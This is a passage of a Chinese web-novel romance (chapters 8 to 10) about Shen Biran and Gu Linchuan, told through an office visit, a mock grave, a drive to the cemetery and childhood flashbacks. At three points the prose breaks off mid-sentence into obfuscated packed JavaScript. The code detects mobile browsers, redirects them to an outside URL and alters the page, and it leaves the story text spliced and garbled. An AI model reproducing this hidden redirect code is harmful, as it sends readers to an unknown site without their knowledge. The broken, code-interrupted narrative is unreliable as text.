“白导晚上好。”沈璧然愉快地打招呼,“我很快就到,等我一起吧。” 五分钟后,沈璧然在街边看到了裹着一件长风衣等他的白翊。 大导演对小动物比对演员和善,白翊蹲下和小狗握手摸头,说自己也养狗,主动牵着狗绳。 街上有家小酒馆,白翊挑了几罐啤酒,打包两份炒牛肉,问沈璧然吃什么。 沈璧然仰头对着菜单上一排排的烧肉挣扎许久,“一份烤豆腐。” 白翊乐了,“就这点饭量,小猫一样。” 沈璧然报以礼貌而不走心的微笑,心说那你是不了解,猫其实是肉食动物。 从小酒馆出来,路边多了一辆宾利欧陆。哑光暴雨灰,很漂亮。 沈璧然和白翊牵着狗从车边路过,整车单向反光玻璃,漆深一片,大气沉稳,沈璧然忍不住驻足多看了几眼。 走过街角,忽然接到一个陌生来电。 顾凛川的嗓音在深夜格外清晰,灌进耳朵里,让人瞬间清醒。 “是我,这是我现在平时用的号码。” 沈璧然停住脚,“嗯。” “抱歉这么晚打电话,没打扰你睡觉吧。” 沈璧然没从他的语气里听出抱歉,说:“我还没睡,有事吗?” “今天忘记找你拿手表了。”顾凛川语气平常,“刚好和人谈完事,就在中海附近,可以顺路去拿吗?” 沈璧然倒刚好在宋听檀家附近,不至于穿帮,可手表没带在身上,提议道:“明天我把手表送去光侵前台吧,今晚不太方便。” 顾凛川语气微妙地冷了些:“是我贴身的表,交给前台不合适。” 沈璧然改口,“那可以劳烦Jeff下楼取一趟吗?” “他被炒了。”顾凛川提醒道:“下午他还求你说情,没忘吧?” 沈璧然哑口无言,怀疑顾凛川在没事找事。 等在边上的小狗忽然焦躁地哼哧了一声。 顾凛川问:“什么声音?” “小狗。” “听着不像小山。”顾凛山语气淡淡,“养新狗了?” 沈璧然沉默片刻,“确实不是小山,小山四年前就去世了。” 电话里一片安静。 顾凛川声音低了下去,“在美国走的吗?” “嗯。” “生病吗?” 沈璧然垂下头,轻轻踢着脚边小石子,“只是老了吧。” 小山陪了他十二年,从一只摇摇晃晃的小狗陪到再也无法站立。它离开那天,沈璧然忽然意识到,陪他长大的所有人与物都在渐渐地被时间带走——爷爷、父亲、保姆阿姨、司机叔叔、沈宅、小山、还有……顾凛川。 那些他珍视的都注定失去,只留他一人,溺在不知尽头的河流。 无需悲怆,因为生命本就如此。但如何能不悲怆,时间拆去了他生长的血肉。 电话里,顾凛川低声说着抱歉,沈璧然看着地上自己的影子,“我明天去把手表交到你手里,我在办公室外等,不用协调时间。” 挂断电话,沈璧然没有遛狗的心情了。 一道光忽而照亮路面,他回过头——宾利车灯竟然亮了。 原来车里有人。 沈璧然顿时为刚才盯着人家的车看而惭愧,走近两步,朝深暗的车窗颔首致歉。 车灯又灭了。 只留下路灯在身后勾勒着他的轮廓,在车玻璃上投下一片低落的晕影。 宾利主人按了一下喇叭,很轻,在夜深人静中竟有几分温柔。 * 第二天一大早,沈璧然来到光侵。前台让他稍等,几秒钟后,总裁办电梯亮起,自顶层一路向下。 传言中已经失业的Jeff从电梯里冲出来,“不好意思!!没想到您这么早就来,老板有个早间采访,但他只给了二十分钟,很快就好!” 沈璧然关切地看着他,“你还好吗?” “我很好啊。”Jeff愣了半秒,一拍脑门,挤出苦笑,“在那个……离职冷静期!对!您应该不知道吧?这是国内公司特色,老板要裁员,人事不让,说要度过冷静期才行,我俩都没法子,只能再凑合一阵了。” 沈璧然干巴巴地“哦”了声,“我只听说过离婚冷静期。” Jeff说:“一样一样,都是新世纪奴隶法嘛。” 沈璧然:“……” 电梯抵达顶层,Jeff让沈璧然去里面随便坐。总裁办大门紧闭,门口立着两名保镖,外面是一片开阔的等候区。首都天际铺在窗外,一个电视台的人正在看电脑,屏幕上回传着此刻办公室里的采访现场。 顾凛川叠腿坐在单人沙发里,淡然看着面前的记者。 记者:“未来光侵的投资战略是什么,顾总可以透露一下吗?” “一切皆有可能。” “是否也将包括科技领域?据我所知,Peak在内地很少涉足这一块。” 顾凛川从容道:“这是商业机密,不妨拭目以待。” “那还是聊回您吧。”记者掉转话题,“毕竟今天是您的个人专访。” 顾凛川比了个请的手势。 “如何看待家族这些年来对您的隐藏?” “理解,感激,这是很有必要的保护。” “那么,过去六年在公众面前毫无露出,是否让您困扰?” “困扰。”顾凛川手肘支着扶手,“我的同辈们和我一同承担家族高压,同时还要额外应付外界审视,我反而是既得利益者。” 记者继续深入,“听起来您非常看重家族的这份保护。” “当然。” “是否可以理解为,生父的不幸成了您永远的心理阴影?” “我不认识他。”顾凛川面不改色,“我以为这已经不是什么秘密了。” 记者点头,迂回出击:“那当初刚被家族找到时,您是如何度过了那段人生失衡的时期呢?” 顾凛川似乎终于听到一个感兴趣的话题,“如何定义人生失衡?” 记者受到鼓舞,“原本一无所有的孩子突然得到全世界,也不失为一种幸福的冲击。” 镜头里,顾凛川的瞳心似乎沉了一分。 “得到与失去,本就是一体两面。” 记者颇感兴趣地追问:“这样的自白很耐人寻味,回到豪门让您失去了什么呢?” 顾凛川却好像已经失去了刚才的兴趣,“无可奉告。” “……” 终于来到最后一个问题,记者换上轻松的口吻,“日常生活中,您有什么擅长并乐在其中的事吗?” “只有无聊小事。”顾凛川随意道:“这个问题没有意义。” 沈璧然身边那位电视台人员忽然低声骂了一句,他疑惑地看过去,对方愤愤道:“搞什么!这题明明是他特意要求的!” 那人显然是个实习生,竟对着沈璧然吐槽起来了:“按计划,他会答高尔夫,然后我们再顺势问球友的身份!” 沈璧然尴尬微笑。难怪顾凛川会接受这种无聊的采访,原来是要借这个契机向公众引出一位商业盟友,但他却临阵变卦了,谁也猜不透他在想什么。 办公室里,记者脸上的笑都快挂不住了,顽强道:“就算是无聊小事,发生在您身上说不定反而有趣。” “是么。”顾凛川无所谓地列举:“冲牛奶,读故事,还有,哄睡觉。” 实习生立即控诉:“说好的高尔夫呢!胡编乱造也要有度!” 沈璧然的表情却倏然僵硬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868344|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很高级的冷幽默。”记者笑容尴尬,“您不会有一个孩子吧?” 顾凛川语气平常,“孩子没有,倒是养了一只长毛金渐层,见过么?” 记者愣了一下,“什么?” “一只小猫。金渐层,长毛的那种。”顾凛川竟然真的又重复一遍,说出今天最长的一句话:“祖系受养于英国皇室,很漂亮,很有礼貌,眼睛很亮。虽然不大让人省心,但养起来颇有成就感。” 沈璧然实在听不下去了,起身往外走,Jeff双手端着一杯咖啡迎面过来,惊讶道:“您这就要走了?咖啡还没喝。” 沈璧然瞟了一眼咖啡上那团马马虎虎的小狗拉花,“抱歉,我最近不喝牛奶。” “啊?”Jeff满脸难以置信,又劝道:“老板马上就出来了。” 沈璧然摸出那只手表——他没有合适的盒子,就用一条丝巾包裹了几层。没有沾到红酒、也没让任何人看过。 “有劳转交。”他把表递给了Jeff。 办公室门忽然拉开,保镖后退,顾凛川大步踏出,径直拿走了Jeff刚到手里的东西。宝石蓝的丝巾被他轻柔而牢固地握在掌心,他无奈地看着沈璧然,低声道:“急什么,等我一下。” * 空旷的顶层只剩下两人。 顾凛川把表放在桌上,弯腰拉开底层抽屉,略停顿,又拉开上面一个,说:“坐。” 沈璧然没动,看着他逐层翻找抽屉。 “顾总还丢别的东西了?我手上只有这块表。” 顾凛川闻言抬起眼,欲言又止。 此刻,他和沈璧然之间只隔了一张办公桌,首都的晨光穿过落地窗,柔和地铺洒入内。祝淮铮第一次过来就爱上了,三天两头往这跑,顾凛川不胜其烦。但此刻,他忽然理解了朋友的沉迷——沈璧然静静地站在那,让这片平平无奇的天光变得柔情又璀璨,开阔壮丽,美不胜收。 “顾总。”沈璧然发现顾凛川在莫名其妙地出神,提醒道:“手表一直包好放着,应该不会有什么问题。” 顾凛川轻拨丝巾,指腹拭过表盘。 “没问题吧?”沈璧然看了一眼手机时间,为告辞做铺垫。 顾凛川拾起手表套上手腕,右手拨动着表带,不知是不是在丝巾里待得久了,表带变得过分丝滑,他脱手几次后,走到沈璧然面前,“可以帮个忙吗,我赶着去见人。” 顾凛川的手腕抬在沈璧然面前,沈璧然非常抗拒触碰这种诱惑源一般的存在,但他不想表现得很做作。 “当然。”沈璧然把手机放在桌上,伸手捏住表链,机括入扣,发出一声轻而利落的“咔嗒”,衬得周围更加静谧。 静到呼吸可闻。 顾凛川放下手臂,手腕不经意地在沈璧然指尖划过,沈璧然缩了手,但顾凛川却仿佛没有察觉,只是垂眸看着他,低声道:“我想再次为昨晚道歉,提起小山,让你难过了吗?” 或许是站得太近,沈璧然觉得他的目光、他的声音仿若有形,在空气中缓缓落下来,披在自己身上。 沈璧然后退半步,摇头。 顾凛川转回平常的口吻,“你昨晚是在遛狗?” “嗯。” “当时已经凌晨一点了,一个人外出很不安全。”顾凛川语气有些认真。 沈璧然知道这不是没事找事,顾凛川非常在意安全,上小学时,沈璧然半夜遛出家和同学去关门的商场探险,结果被变态尾随,给顾凛川留下了很深的心理阴影。从那之后,顾凛川每晚都会醒来一两次,从阁楼上下来,推开沈璧然虚掩的房门确认他还在乖乖睡觉。 沈璧然说:“有朋友在。” “哦?”顾凛川语气微妙,“那就更抱歉了,希望我没有破坏你们深夜的谈兴。” “本来也没在聊什么。”沈璧然随口说,“不是很熟。” 或许因为话题走向闲聊,顾凛川的神情轻松了些许。沈璧然见状便道:“表送到,我先走了。” “你的手机。”顾凛川拿起刚才被沈璧然随手放在办公桌上的手机,递过来给他,“开车小心点。” 手机从一只手递给另一只手时,忽然发出一阵震动,屏幕随之亮起。 【万安墓园提醒您:您已预约今日祭拜,请……】 沈璧然心下一惊。 今天是顾凛川的“忌日”,他竟然完全把这件事忘了。 他下意识看向顾凛川——对方的视线正正落在屏幕上。 9.第 9 章 万安墓园有忌日服务,请僧人为死者念经祈福。顾凛川只有衣冠冢,所以他的仪式门道更多、更复杂。刚出国那几年,沈璧然经济上有点局促,几乎是倾尽所有才给顾凛川置了坟、安排最庄重的仪式。 今天他无论如何也要去一趟,得阻止那些高僧继续为顾凛川念大悲咒。 沈璧然内心绝望,但神色从容,接过手机道谢转身,边走边在心中狂念:不要问我,不要问我,不要…… “等一下。” “……” “抱歉,但……我好像不小心看到了短信内容——”顾凛川略有迟疑,“你要去墓地?” 沈璧然转身露出完美微笑,“你看错了。” “我没看错。”顾凛川神情严肃,“那块墓地,是……沈老爷子?” 沈璧然百感交集、万般无奈,“不是。” 顾凛川思量道:“那是谁?你大伯一家安好,难道……” “别多想。”沈璧然连忙打断他,“也算是个亲人吧,但不是我父母。我……” 他顿了下,低声继续说:“爸爸去美国第一年中风走了,但是葬在了旧金山。妈妈现在很好,只是不太愿意回来。” 顾凛川望着他的目光震惊又痛惜,沈璧然挪开了视线,不敢与之对视。不知是窗外刚好有云飘过,还是因为顾凛川高大身形的遮挡,满室光亮忽而消散。他在晦暗的光影中垂下眸。 默然许久,顾凛川忽然问:“还记得我给你读过的那首诗吗?” 沈璧然心中怔忡,却没有看他,“哪首?你给我读过太多首诗了。” “第一首英文诗。”顾凛川顿了下,声音低低的,却很郑重,“We will grieve not, rather find strength in what remains behind; In the primal sympathy, which having been must ever be……” 沈璧然心尖一阵抽搐,不自觉地抬头,顾凛川也正凝视着他,目光深沉温柔,仿佛要直直地投射入他苍白的心底。 近乎本能地,他轻声开口:“In the soothing thoughts that spring out of human suffering;In the faith that looks through death; In years that bring the philosophic mind.*” (“我们并不为此悲伤,而是继续寻觅力量,在残存的往昔中;在那原初的、一旦萌生就不会泯灭的同情心中;在源于苦难的精神慰藉中;在窥破死生的信念中;在孕育哲思的岁月中。”) 方才遮挡的那片云又静默地飘远了,满室昏幽消散,世界重归明亮。 沈璧然勾了下唇,“我那时是十岁吧?还不知道生死是何物。” “是十一岁。”顾凛川说,“那时我也一样无知。但还好,无知时偶然所得,总算也能在此刻聊以慰藉。” “谢谢。”沈璧然抿了下唇,“顾总,我先走了。” 顾凛川没再阻止,但却一直把他送到停车场,依旧跟着。 沈璧然无奈,“我要去墓地。” 顾凛川说,“既然是沈家人,我也该去尽一番心意。” “你不是约了人吗?” “不重要。” “……” 沈璧然换了一桩推辞,“到访者需要提前预约,你进不去。” 其实是可以的,只要不违法,顾凛川可以做任何事。沈璧然知道这个理由很弱,好在顾凛川也没拿权势反驳他,似乎察觉了他的抗拒,让步道:“那我送你过去,你心情低落,不适合开车。” 沈璧然再想争论,却已经被拿走了车钥匙。 顾凛川第二次开这辆特斯拉,变得驾轻就熟,还把座椅向后调了一点,顺畅地驶出光侵大楼。 沈璧然目视前方,面色麻木,如坐针毡——顾凛川死也不会想到,他正开车前往自己的坟。 偏偏顾凛川这时又问:“是沈家的远房亲戚么,我见过吗?” 沈璧然机械地开口:“很难用见没见过来定义。” “什么?” “……”他扶额,“不是沈家人,只是和我关系亲厚,胜似亲人。” 顾凛川顿了下,“朋友?” “嗯。” “同龄人?” “嗯。” 沈璧然已经知道他接下来会问什么了,索性直接道:“因为意外。” 顾凛川沉默了。 周遭气压似乎变得有些低。沈璧然不知道顾凛川是不是在为同龄人的短命而惋惜,只希望他就此打住。 可天不遂人愿,顾凛川片刻后又问:“你去祭拜,不需要知会他的家人吗?” “不用。”沈璧然说:“是我为他立的墓。” 车里又安静下去,顾凛川似乎不太擅长看导航,在路口反复确认了几次,而后才又漫不经心地道:“那看来是很重要的朋友了。” “嗯。” 顾凛川语气平静,“什么时候认识的?” “以前。” “出国前还是……” “反正很久了。” “同学还是……” “都是。”沈璧然说,“别问了。” 再问真要完蛋了。 他扭头看向窗外,心中平静而绝望。如果可以,他希望换自己躺在万安墓园里,恐怕也比坐在这车上舒坦点。 路程很长,沈璧然渐渐地有些昏沉,手肘撑在窗边放空。 “不舒服么?”顾凛川说:“脑震荡的恢复期很长,你要好好睡觉。” 沈璧然摇头,“已经没事了。” 顾凛川转头看他一眼,“别掉以轻心,食欲变差也是典型症状。” “食欲变差?” “昨天那顿饭。”顾凛川提醒他,“我想你不至于在美国呆几年就改吃素了吧。” 沈璧然哑口无言。他总不能说我每年四月都为你斋戒、祈祷你在下边舒心顺意,只好含糊其辞:“我现在确实吃素,赵总知道。” 顾凛川默了默,“总之,不舒服就随时找我。昨天的号可能会转给Jeff,你继续打以前那个号。” 沈璧然内心倏然绷紧——他有预感,顾凛川终于要提起那件事了。 果然,顾凛川继续道:“应该知道我说的是哪个号吧,就是车祸那天……” “顾总。”沈璧然打断了他。 顾凛川便没有再说下去,沈璧然转头看向车外倒退的公路,许久,才下了决心般地把提前想好的说辞倒了出来。 “那天我本来要打保险公司的400电话,刚按了个4,又一辆车追尾,误触了通讯录自动联想的号。九宫格键盘的4刚好是G,我不是故意要打给你。对不起,给你添麻烦了。” 顾凛川忽然踩下刹车,两人身子因惯性向前冲了一下。一条冒失的流浪狗离车轮只有几厘米,侥幸得生。顾凛川看着它狼狈逃窜的背影,低声说了句“不好意思”,重新发动车子。 漫长的安静后,他轻笑一声,“这样啊。” 顾凛川语气轻快,“我说怎么这么突然。你在电话里不出声,我都不知道是谁出事,后来还是Jeff查到了机主。” 沈璧然大脑一下子空白了,好半天才僵硬地重新开口:“确实太唐突了,但当时手机掉在缝里,我没法挂断,又不知道该说什么。” “嗯。”顾凛川轻声说:“不怪你。” 沈璧然忽然有些胃痛,在车窗倒影里看着自己维持微笑,“所以那天你去看白书庭时,是刚好在护士台看见了……” “不是。” 顾凛川转过头,语气很沉,“我就是去找你的,和别人没关系。” 汽车还在行驶,顾凛川只看他一眼就转了回去,留下沈璧然一颗心翻搅。 原来顾凛川早就不记得他们之间的号码了,往事早已翻篇,但自己一个电话,他还是跑了出来——可那不是旧情未断,而是收到求助后的仁慈。 到墓园,顾凛川把车停在入口,“真的不用我陪你进去?” 沈璧然半开玩笑地说:“我那位朋友大概不太方便见你。” “我有这么可怕么,连鬼都不想见。”顾凛川配合地勾了勾唇角,把车钥匙还给他,目送他独自进了墓园。 而后,笑意消失,黑眸一寸寸暗下去。 手机震动,祝淮铮打来骂周聿桁。顾凛川平时听得耳朵都要起茧子了,他心情不佳,只听了两句就打断他:“还记得上次沈璧然说他的初恋死于意外么?” 祝淮铮一下子就乐了,“你在里面不是都听见了吗?他可真有意思,顶着那么好看的一张脸,张嘴就是胡编乱造。” 顾凛川低声说:“也许他没撒谎。” “啊?” “他确实亲自在万安墓园为一个朋友立了墓。”顾凛川语气平静地列举特征:同龄、关系胜似亲人、死于意外,还有,沈璧然明显不希望他探究对方的身份,也怕他去对方碑前打扰。 祝淮铮咂摸半天,“所以他并没有拿你造谣,而是确实有一个死了的初恋?” 顾凛川没作答,祝淮铮又纳闷道:“但你不是说他初恋是你吗?” 顾凛川把电话挂了。 黑眸沉黯,满是自嘲。 被抛弃是陈年烂帐,算了;被造谣身亡来挡桃花,也算乐在其中。但他万万想不到,“初恋”恐怕另有其人,沈璧然压根没造谣他——这一切都与他无关,这一切都是他自作多情。 他恪守沈璧然立下的规矩,分得干净利落,不打扰不调查不过问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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Jeff一头雾水,只得应下来。他察觉到老板心情欠佳,并非对谁不满,而是更接近某种自我消沉,这实属罕见。签署完几份文件,顾凛川看向窗外——平时他看窗外也是在思考工作,但今天,那双黑眸却有些空,身侧的手探进口袋,像在摩挲什么东西。Jeff纳闷了一路,直到一角丝巾滑出,才恍然意识到是沈先生用来包手表的那条。 顾凛川忽然问:“你收拾我抽屉了?” Jeff卡壳一秒,“二助整理过文件。” 二助是新招的,顾凛川是欧洲几家关键公司的幕后决策者,现在又多领了光侵这一摊,一个Jeff根本不够他使唤的。集团内部遴选很久,上周才定下一个合适的二助,从一家做地产的分公司里提拔上来。 “换人。”顾凛川语气不善,“换个不随便扔老板东西的人来。” Jeff连忙发消息询问,二助惊天霹雳,反思大半天才回复:“顾总说的不会是那盒冻干莓粉吧?我看马上就要过期了。” Jeff这才想起,多年来,自家老板的抽屉里总是有一个粉色盒子的冲剂,他一直以为是什么茶包。他平时只拾掇文件,从来不碰老板的私人物品,也不会想着检查这些要入口的东西有没有过期——某种意义上,二助比他细致,但反而搬起石头砸了脚。 他想替二助求个情——重新选人哪那么容易,一天没有二助,他就多受一天累,他就是一头驴,也快熬出阿胶了。 “知道白翊吗。”顾凛川忽然又开口,“好像是个拍戏的。” 话题转得太快,Jeff大脑闪了一下,“是内地名导,您感兴趣?” 顾凛川转过头看着他,“我为什么要对个拍片的感兴趣?” “……” Jeff面露微笑,心说,我犯贱行了吧。 顾凛川神色冷漠,“最近偶遇了几次,之前好像在街头小广告上也看到过。” Jeff哈哈一笑,“您真幽默。” “查一下。” 查什么,那不是公众人物吗?难道要查亲属、同学、合作过的演员?或者是想买下白翊有持股的那家尘晖娱乐公司? Jeff一头雾水地点开手机,视线却突然定格在一条弹窗新闻上。 “老板……”他迟疑地放大新闻配图——拍摄于中海国际附近的街道,深夜,白翊和一名神秘男子一同拎着宵夜遛狗。神秘男子眉目清隽,站在昏黄的路灯下打电话。光影温情地描摹他的侧脸,如一出大银幕定格画,复古而惊艳。 Jeff舌头打结,“白翊好像惹上了一个八卦……呃,这个八卦的另一方……” 他话到一半就说不下去了,因为照片不光拍到了沈璧然,还带到了不远处的一辆车——宾利欧陆,哑光暴雨灰。 模糊入镜的牌照后三位坐实了车主身份。 Jeff堪比计算机的大脑终于在这一刻轰然卡死了。 “您好像也低调地参与了这条新闻……虽然记者不太识货……” 顾凛川直接伸手拿走手机,目光迅速扫过那串醒目标题。 《白翊深夜幽会年轻男子,疑似下部戏男主或圈外男友》 10.第 10 章 “太荒唐了。” 十二岁的顾凛川合上书,那是一本美国通俗小说集,十篇里有九篇都以意想不到的两个人突然上床为结局。如果他和沈璧然是书里的角色,他俩迟早也得干点什么无法无天的事。 他觉得沈璧然不好好睡觉和这些魔鬼读物脱不了关系,沈家家教正统,但唯独在看书上不管沈璧然——可能也管不过来,沈璧然有书瘾,消耗量极大,而且不挑,什么稀奇古怪、好的邪的玩意都来者不拒。 顾凛川把书扔远,“今天不读了,好好睡觉。” 身边的被子底下鼓了鼓,一下子被掀开,露出穿着真丝睡衣、一头软毛滚得乱七八糟的沈璧然。 “睡不着,我睡不着。”他像一条发疯的虫子,“顾凛川你再给我读两段,我刚有点睡意都被你破坏了!” “撒谎。”顾凛川戳穿他:“我都听到你咯咯乐了。” “我那是吃多了打嗝。”沈璧然一把捉住顾凛川的手,撩起睡衣,把他掌心贴在自己肚皮上,“你摸都鼓成什么样了?就赖你,为了不让你挑食被发现,那么大一盘炒蘑菇都让我一个人吃了!” 沈璧然说着开始装目光涣散,“顾凛川,蘑菇不会有毒吧,我好像看到海妖了。” 顾凛川无语地帮他捂着肚子,“我不也帮你吃了鳗鱼吗?” “对哦。”沈璧然眼睛弯起来笑,“太感谢啦。” 台灯的光凝在沈璧然眼中,顾凛川在那对黑眼珠里看到了他自己,而且只有他自己,很奢侈地铺满了那双眸。 “沈璧然,除了海参和鳗鱼,还有什么鱼不吃?” 沈璧然想了想,“黄鳝、泥鳅,反正就是长条形、滑溜溜的那些。” 顾凛川手掌心在他肚子上揉了两圈,“你皮肤比绸子还滑,凭什么嫌弃人家鱼滑溜溜?” “因为它们还黏糊糊,嚼起来咕叽咕叽的,好恶心。”沈璧然举起一只手在脸侧,用拇指和另外四指捏合的动作来配合他的“咕叽咕叽”。 顾凛川被逗乐了,“那以后我帮你吃掉。” “那我也帮你吃蘑菇。”沈璧然公平地说。 “行。”顾凛川把他从身上抓下来,“我回房间了。” 下周他们两个就要上初中了,沈从翡说,大孩子要有大样,不能总搂在一起睡了。沈璧然好遗憾,不想失去这台床上读书机。 “顾凛川,要上初中了,你紧张吗?” 顾凛川站在床边看着他,不答反问:“沈璧然,为什么非要让我和你一起去读国际初中?” 沈家原本要顾凛川去读一所重点公立,他已经非常感恩,可沈璧然大闹一场,最终还是让顾凛川和他读了同一所每年学费三十万的国际学校。 沈璧然拿被子把自己卷成一条蚕,眨眨眼,“我离不开你嘛,你不在,我使唤谁去。” 他对父母也是这样说的。 但顾凛川知道这只是他的小把戏——他们一起读小学的这几年,沈璧然上学、兴趣班、春游、夏令营、国外度假……无论去哪都一定要带他,吃穿用度、出入随行全部统一,他不像是收养来伺候少爷的,而更像沈家另一个孩子。 有时,沈璧然还会很自然、很活泼地仰着小脸叫他“哥”,鸡毛蒜皮的小事都先问他的意见,把他捧得很高。 大人问起,沈璧然就撒娇说离不开他,但私下里却很少真正使唤他做事,甚至还经常颠颠地给他跑腿。沈璧然课间去买冰淇淋,打铃了,顾凛川还有半支没吃完,只好弯腰在桌子底下全塞嘴里,冰得用手死死捂着后脑勺,一抬头,看到同样捂着后脑勺的沈璧然。 沈璧然趴在他耳朵边上说:“你怎么什么都敢陪我啊,顾凛川,你真好,没你我就完啦。” “还好有你”是刚到沈家头一两年沈璧然最常对他说的话,那阵子,家里经常回荡着沈璧然大大咧咧的叫声:“顾凛川呢?谁看到我的顾凛川啦?” 连佣人都感慨,收养顾凛川后,沈璧然变得比以前更活泼了,说话中气都足了,大师那句“温火养玉”传言不虚。但顾凛川知道,这都是故意的,沈璧然一直想方设法地让沈家上下、也包括顾凛川自己,都觉得他是一个被需要、有价值的人。 他有时会想,是不是无论捡了谁回来,沈璧然都会对那个人这么好。或许是的,沈璧然对每个人都友善、都真诚,谁会不喜欢沈璧然,谁能受得了沈璧然笑盈盈地、仰着脸对你说话?好像老天爷捏人的时候把所有天真美好都揉进了一小坨泥胚子里,这坨小泥胚子化出人形,长成沈璧然的模样。 还好被沈璧然捡回来的是他——十二岁的顾凛川心里朦朦胧胧地产生了这样的想法,他知道自己内心阴暗丑陋,但又确实怀着强烈的心愿,希望除了那只比他早来半年的看家犬“小山”之外,沈璧然不要再捡任何人、任何小动物回家了。 沈璧然一下子从床上坐起来,头发又很久没剪,发丝滑进领子里,他拉了一下顾凛川的衣角,神秘地朝他眨眼,“听说国际部的安保可严啦,围墙也高,全是监控,我们以后别想偷偷跑出去。” 顾凛川敏感地问:“外边的人能进学校吗?” “No no no.”沈璧然摇手指,“连后勤人员进出校园都要有当天的通行证呢。” 顾凛川一下子放松了,伸手按上他脑门,“喝奶不?” “喝。”沈璧然用脚丫子扒拉他,“你给我冲去。” 沈璧然捧着马克杯喝奶,顾凛川说:“我还是有点不放心。” “那咱们试一试呗。”沈璧然压根不问为什么你总担心不安全,反而很愿意配合,可爱的脑袋里塞满了坏主意,“我们偷偷往外跑,如果我们跑不出去,就有理由相信外头的人也没那么好进来了吧。” 沈家两个初一新生开学第一周翻墙逃课,沈从翡大发雷霆,把两人狠狠骂了一通,顾凛川说是自己出的馊主意,沈从翡心如明镜,装腔作势要揍顾凛川。鸡毛掸子挥起来了,沈璧然突然哭了,挡在顾凛川身前低头抽抽嗒嗒,沈从翡等待儿子坦白认错,以为再不济也得有一句“要打他先打我”,没想到沈璧然只是不断地重复“爸爸坏”。 沈从翡哭笑不得,温姝忍俊不禁,沈璧然得逞满足,四人之中,只有顾凛川慌了。要挨打时他面不改色,这会儿他却兵荒马乱,一只手用力握紧沈璧然冰凉的小手,另一只手轻柔地顺着他的背,沈璧然绑头发的丝巾松了,顾凛川就把它解下来,罩住沈璧然溢满泪水的眼。 “别哭了。”他在沈璧然耳边说:“你怎么这么多戏,你爸要抽的又不是你。” 顾凛川从来都说不出特别好听的话,但这一句,配合罕见的无措眼神、低声下气的声调,沈璧然觉得无异于是玩命在哄自己了,心里越得意,表面上越演得委屈,“哇”地一把抱住顾凛川,一边哭嚷着“我爸好可怕”,一边死命推着顾凛川远离战场。 家庭教育不了了之,半夜,阁楼卧房,沈璧然又晃着脚丫子指挥顾凛川给他读书。 “今天读点什么呢。”他随意翻着顾凛川床头柜摞得高高的书,其实那些都是他的书,到处乱丢,家里哪哪都是。他挑了半天,最后抽出一本英文诗集,亚麻色绢布书面,一串看不懂的英文,很有质感。 “读诗吧,老师说你有读英音的天赋,你就用英音读。” 诗很长,顾凛川看不懂,但能拼读。他心知肚明,英文读物不可能哄睡沈璧然,因为沈璧然会忍不住跟读,模仿他的腔调。 但那晚顾凛川被猪油蒙了心,只要沈璧然不哭,让他干什么都行,他把诗集接过来,任劳任怨地从第一句开始。 “Our birth is but a sleep and a etting......” …… 少年坐在床上读书的声音犹在耳畔,和沈璧然此刻听见自己的声音逐渐重合。 “……In the primal sympathy, which having been must ever be; In the soothing thoughts that spring out of human suffering; In the faith that lo ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881708|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' oks through death, In years that bring the philosophic mind.” 沈璧然立在墓碑前,轻声念完了这句诗。 身后的墓园管理员说:“这首诗很宁静。” 沈璧然点头,“是他给我读过。” 墓碑上刻着两行字——“愿爱人顾凛川,灵魂于此安眠。” 落款是“爱人沈璧然”。 “Noah,你为什么要临时取消仪式?” 沈璧然叹了口气。 管理员听出他沉郁,改口道:“不过确实也有一些人会觉得,死去多年的人不该再被打扰……” “人没死。”沈璧然打断了她,“我很抱歉。” 管理员:“……啊?” “他送我来的。”沈璧然又指了一下墓碑。 管理员后背一冷,“什么?” “没什么,只是一段凄惨爱情故事摇身一变,成了抓马喜剧。”沈璧然轻松地说道,但眼中却裹了一层低落,他垂头静默,手指抚过墓碑,在“爱人”二字上流连许久,“我想废除这座坟墓,当然,不需要退回购置费,我会再补一些费用,请你们帮忙把里面的物品、连同这块碑都整理好邮寄给我。有劳仔细打包,不要磕碰到。” “沈先生……”管理员忧心忡忡,“您还好吗?是不是太想他了?” “我很好,从今天开始,我再也不用吃素了。”沈璧然笑容依旧得体,仿佛没有提出任何离谱要求,脚步轻快地离开了。 特斯拉孤零零地停在路边,沈璧然嗅着车里残留的男士香水——冷调木质、余韵带着白玉兰清丽馥郁的香气,和昨天在餐厅里闻到的一样,但在封闭环境中更明晰。顾凛川在的时候,只有幽香缭绕,顾凛川走了,这股气味反而更有冲击性。 他意识到自己正非常病态地闻顾凛川留下的味道,当即从车里摸出一根烟,含在嘴里用力吸了两口。 其实他很少抽烟,一个月也想不起来摸一根,但重逢以来这已经是第二次。 车里的香气终于不再那么纯粹。沈璧然指尖夹着烟想顾凛川,想他忘了那串手机号的无情,也想他为自己跑到医院的诚意,想他话语里的阴阳怪气,也想他安慰时眼中的怜惜…… 剪不断,理还乱,莫过如此。 他内心嘲讽自己,苦笑着摇头,垂下一只手到车座下面去够调节钮,想把顾凛川调远的座距调回来。不料指尖触碰到一个冰凉细腻、金属质感的东西,捞起来一看,一支钢笔。 